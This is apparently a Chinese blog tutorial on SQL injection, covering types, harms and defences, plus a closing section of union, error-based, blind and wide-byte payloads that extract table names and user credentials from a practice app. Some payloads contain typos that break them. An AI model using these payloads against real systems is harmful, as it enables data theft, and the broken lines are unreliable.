常见漏洞之SQL注入

一、SQL注入简介

SQL注入(SQL Injection)是一种代码注入技术,攻击者通过在Web应用程序的输入字段中插入恶意的SQL代码片段,以此来影响后端数据库的操作。这种攻击方式可能导致未经授权的数据访问、数据泄露甚至完全控制后端数据库。SQL注入通常发生在Web应用程序未能正确过滤或验证用户输入的情况下。当攻击者提交包含SQL命令的输入时,如果应用程序没有对其进行适当的处理,那么这些命令可能会被直接传递给数据库执行。这样,攻击者就可以利用这个漏洞来执行非预期的SQL操作,如查询、插入、更新或删除数据。

二、SQL注入的类型

sql注入有多种类型,可以根据注入方式、攻击目的和利用的技术进行分类。以下是一些常见的sql注入类型:

1.基于布尔的盲注(boolean-based blind sql injection)

当应用程序不对sql查询结果进行直接输出时,攻击者可以通过判断应用程序的响应或行为来推断数据库信息。例如,通过在输入中插入逻辑语句,如1=1(始终为真)或1=2(始终为假),来观察页面响应的变化。

2.基于时间的盲注(time-based blind sql injection)

类似于布尔盲注,但攻击者通过引入数据库的时间函数(如sleep())来制造延迟,从而根据响应时间来判断注入语句是否执行。

3.联合查询注入(union query injection)

攻击者通过添加一个union语句到原始查询中,可以合并两个或多个select查询的结果,从而检索额外的数据。

4.堆叠查询注入(stacked queries injection)

攻击者通过在原始查询后添加额外的查询,利用数据库对多个语句的处理能力来执行多条sql命令。

5.带内注入(inband sql injection)

当攻击者可以直接从正常响应中看到注入结果时,这种类型的sql注入称为带内注入。

6.带外注入(out-of-band sql injection)

攻击者利用数据库的外部功能(如发送电子邮件、http请求等)来获取数据,而不需要直接从sql注入点接收响应。

7.错误数据利用注入(error-based sql injection)

攻击者通过构造导致数据库错误信息的输入,利用错误信息来获取数据库的结构和数据。

8.二次注入(second order injection)

攻击者在用户的输入被应用程序存储并在后续的某个时间点用于构造sql语句时进行注入。

三、SQL注入的危害

1.数据泄露:SQL注入攻击可以导致敏感信息如用户密码、银行账户、个人资料以及商业机密等数据的非法访问和泄露。攻击者通过构造恶意的SQL语句,能够绕过应用程序的安全机制,直接从数据库中检索数据。

2.数据篡改:通过SQL注入漏洞,攻击者不仅能够查询数据库,还能修改数据库中的数据,破坏数据的完整性和真实性。例如,攻击者可以在数据库中插入新的记录,或者更改、删除已有的记录,这可能导致企业运营异常,甚至引发法律问题。

3.拒绝服务攻击:攻击者可以通过构造大量的恶意SQL语句并执行,使数据库服务器过载,耗尽系统资源,从而导致拒绝服务攻击。这种攻击会使得合法用户无法访问数据库服务,影响业务的正常运行。

4.权限提升与完全控制数据库:如果攻击者发现并利用了SQL注入漏洞,他们有可能通过执行恶意SQL语句来提升自己的数据库权限。在极端情况下,攻击者甚至可能获取到数据库的最高权限,从而完全控制数据库和其中存储的数据。

5.网页篡改与违法信息发布:如果网站目录具有写入权限,攻击者可以利用SQL注入漏洞在服务器上写入网页木马或进行网页内容篡改。这样,攻击者能够发布违法信息,损害企业声誉,或者通过钓鱼等手段进一步攻击其他用户。

6.远程控制服务器:通过提权操作,攻击者有可能远程控制被攻击的服务器。一旦攻击者获取了服务器的最高权限,他们可以安装后门程序,长期控制该服务器,甚至扩散到更广泛的网络中,对其他系统构成威胁。

四、防御措施

1.参数化查询

预编译语句:使用预编译语句(Prepared Statements)可以有效防止SQL注入,因为它将用户输入作为参数处理,而不是直接拼接到SQL语句中。这样,即使用户输入包含恶意字符,也不会改变SQL语句的结构。

参数化查询示例:在Java中使用PreparedStatement,可以将SQL语句中的变量用?标记代替,然后通过setString()等方法传入实际参数。这种方法确保了用户输入不会被解释为SQL代码的一部分。

2.输入验证

严格的输入过滤:对所有用户输入进行严格的验证和过滤,确保只接受预期格式的数据。例如,如果一个输入字段只接受数字,那么任何非数字字符都应被过滤掉。

输入验证示例:在PHP中使用filter_input()函数,可以指定期望的数据类型(如整数、邮箱等),并拒绝不符合要求的输入。这样可以在早期阶段阻止潜在的注入攻击。

3.输出编码

防止XSS攻击:对输出到页面的数据进行编码,以防止通过恶意输入进行跨站脚本(XSS)攻击。这可以确保即使攻击者尝试在用户输入中插入JavaScript代码,也无法成功执行。

输出编码示例:使用htmlspecialchars()函数可以将特殊字符转换为HTML实体,使其在浏览器中显示为文本,而不是被解析为代码。

4.数据库权限控制

最小权限原则:最小化数据库用户的权限,仅授予应用程序所需的最小权限。这样,即使发生SQL注入,攻击者也无法执行高权限操作。

权限控制示例:在MySQL中,可以使用GRANT语句为用户指定具体的权限,如SELECT、INSERT和UPDATE,而不是直接授予root权限。

5.定制Web应用防火墙

检测与阻止攻击:部署Web应用防火墙(WAF)可以检测和阻止常见的SQL注入攻击,从而提供额外的防护层。WAF可以根据已知的攻击模式自动拦截恶意请求。

WAF配置示例:配置WAF规则,以识别并阻止包含常见SQL注入特征的请求,如连续的单引号或SQL关键字。

6.定期安全审计

发现并修复漏洞:定期对应用程序和数据库进行安全审计,以发现并修复潜在的SQL注入漏洞。这可以通过自动化工具和手动检查相结合来完成。

五、测试利用

以mysql数据库为例

①前置知识知识----mysql

information_schema数据库里面有TABLES表。TABLES表里字段TABLE_SCHEMA存放所有数据库TABLES表里字段TABLE_NAME存放所有表。

②页面中存在回显  

经测试闭合方式为’

1.联合注入 union

?id=1'order by 3 --+                  

?id=-1'union select 1,2,3--+

?id=-1'union select 1,database(),version()--+

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

2.报错注入   extractvalue和updatexml函数

updatexml函数    updatexml(目标内容,XML文档路径,更新的内容)

?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+  XML文档路径的位置里写入子查询,我们输入特殊字符,因为不符合输入规则产生报错先执行子查0x7e是16进制也就是~符号

?id=1' and (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)) --+

?id=1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="users")),0x7e)) --+

?id=1' and (select updatexml(1,concat(0x7e,(select group_concat(,group_concat(username ,id , password) from users--+)),0x7e)) --+

?id=1'and (select updatexml(1,concat(0x7e,(select group_concat(username ,id , password)from users)),0x7e))

③页面无回显  闭合方式’

1.布尔盲注

?id=1' and length(database())=8--+   根据是否报错判断数据库的长度

?id=1' and substr(database(),1,1)='s'--+  根据报错判断字符串第一个字符是否是s这个只能用=去测试

?id=1' and ascii(substr(database(),1,1))>100--+     一个一个测试太慢了,使用assii函数

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+  根据报错找字段长度

?id=1' and assii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1--+  找字段   

2.时间盲注

?id=1' and sleep(5) --+  测试是否存在时间盲注

?id=1'and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+   可以把=换成> <号去判断

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

④宽字节注入(编码必须为GBK)  

1.?id=-1%df%5c'order by 3 --+  

2.?id=-1%df%5c'union select 1,2,3--+

3.?id=-1%df%5c'union select 1,database(),2 --+

4.?id=-1%df%5c'union select 1,table_name from information_schema.tables where table_schema=database() limit 3,1 --+

5.?id=-1%df%5c'union select 1,column_name from information_schema.columns where tables_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 1,2 --+

6.?id=-1%df%5c'union select 1,usename,password from users --+

  • 19
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cityミ slaves

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值